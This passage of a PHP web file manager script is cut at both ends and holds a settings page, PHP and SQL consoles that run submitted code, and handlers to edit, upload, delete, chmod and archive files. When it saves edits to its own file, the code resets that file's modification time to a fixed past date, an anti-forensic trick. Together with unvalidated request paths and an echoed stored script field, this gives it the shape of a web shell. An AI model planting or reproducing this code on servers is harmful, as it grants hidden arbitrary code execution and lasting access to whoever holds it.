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");
}
.file {
background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' : $_POST['sql'];
$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' : $_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo '</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
<form action="" method="POST" name="console">
<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
<input type="reset" value="<?=__('Reset')?>">
<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
$select .= '<option value="-1">' . __('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$editlink?>">
<textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save" value="<?=__('Submit')?>">
<input type="submit" name="cancel" value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
$link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
}
}
} elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="dirname" size="15">
<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="filename" size="15">
<input type="submit" name="mkfile" value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
